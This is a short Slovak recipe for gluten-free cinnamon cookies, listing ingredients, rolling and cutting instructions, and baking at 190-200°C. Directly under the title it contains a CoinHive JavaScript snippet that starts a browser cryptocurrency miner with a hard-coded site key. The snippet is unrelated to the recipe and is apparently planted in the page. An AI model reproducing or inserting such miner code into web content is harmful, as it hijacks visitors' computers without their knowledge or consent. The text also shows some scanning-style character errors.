Skoricovniky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 380 g bezlepkovej muky, 120 g praskoveho cukru, 250 g masla (Hera), 1
vanilkovy cukor, 1 CL mletej Skorice, 1 vajicko, krystalovy cukor na posypanie, 1 vajicko na
potretie

Postup: Spravime cesto, ktoré vyvalkame na hrubku cca 0,5 cm a povykrajujeme z neho
lubovolné tvary. Kolaciky ukladame na plech vystlany papierom na pecenie, potrieme
vyslahanym vajickom a posypeme krystalovym cukrom. PeCieme pri teplote 190-200°C na cca
6-7 minut.

Poznamka: Vypracované cesto je vhodné nechaf odlezat v chladnicke.




